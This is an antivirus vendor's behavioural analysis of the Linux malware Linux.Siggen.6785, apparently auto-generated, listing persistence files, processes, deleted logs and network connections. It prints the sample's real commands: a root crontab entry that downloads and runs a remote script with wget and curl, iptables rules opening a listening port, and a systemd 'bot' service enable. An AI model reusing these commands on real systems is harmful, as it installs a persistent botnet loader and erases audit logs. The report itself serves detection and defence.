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Linux.Siggen.6785
Added to the Dr.Web virus database:
2024-03-18
Virus description added:
2024-03-18
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
/etc/init.d/job
Malicious functions:
Launches itself as a daemon
Substitutes application name for:
Manages services:
['/bin/systemctl', 'enable', 'bot']
Launches processes:
chmod +x /bin/bins.sh
/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/usr/sbin/xtables-nft-multi iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
busybox iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
/bin/sh /bin/bins.sh
iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
crontab -l
(crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod +x /bin/bins.sh; /bin/sh /bin/bins.sh; /bin/curl -k -L --output /bin/bins.sh http://rebirthltd.com/bins.sh; chmod +x /bin/bins.sh; /bin/sh /bin/bins.sh\x22\x22) | crontab -
/bin/systemctl enable bot
/usr/bin/iptables -A INPUT -p tcp --dport 26721 -j ACCEPT
crontab -
Performs operations with the file system:
Modifies file access rights:
/var/spool/cron/crontabs/tmp.uXPfoF (deleted)
/etc/init.d/job
Deletes folders:
/var/log/syslog
/null
/var/spool/cron/crontabs/tmp.uXPfoF
/root/.bashrc
/var/log/daemon.log
/tmp/clearsigned.message.uyHAXO
/var/spool/cron/crontabs/root
/tmp/clearsigned.message.0XvL16
/tmp/clearsigned.message.mIPhCM
/tmp/clearsigned.message.3vB2xX
/tmp/clearsigned.message.c95oot
/tmp/clearsigned.message.90enSz
/var/log/btmp
/var/log/kern.log.1.gz
/var/log/auth.log.1.gz
/var/log/debug.1.gz
/var/log/messages.1.gz
/var/log/kern.log
/var/log/auth.log
/var/log/debug
/var/log/messages
Creates or modifies files:
/self
/proc/490/cmdline
/dev/full
/var/spool/cron/crontabs/tmp.uXPfoF
/dev/null (deleted)
/etc/init/bot.conf
/root/.bashrc
/usr/lib/systemd/system/bot.service
/etc/systemd/system/job.service
Deletes files:
/var/log/syslog
/null
/var/spool/cron/crontabs/tmp.uXPfoF
/root/.bashrc
/var/log/daemon.log
/tmp/clearsigned.message.uyHAXO
/var/spool/cron/crontabs/root
/tmp/clearsigned.message.0XvL16
/tmp/clearsigned.message.mIPhCM
/tmp/clearsigned.message.3vB2xX
/tmp/clearsigned.message.c95oot
/tmp/clearsigned.message.90enSz
/var/log/btmp
/var/log/kern.log.1.gz
/var/log/auth.log.1.gz
/var/log/debug.1.gz
/var/log/messages.1.gz
/var/log/kern.log
/var/log/auth.log
/var/log/debug
/var/log/messages
Network activity:
Awaits incoming connections on ports:
127.0.0.1:8345
0.0.0.0:26721
Establishes connection:
8.#.8.8:53
51.###.108.203:53
19#.###.175.43:35342
19#.##9.175.43:2222
DNS ASK:
Sends data to the following servers:
Receives data from the following servers:
Curing recommendations
Linux
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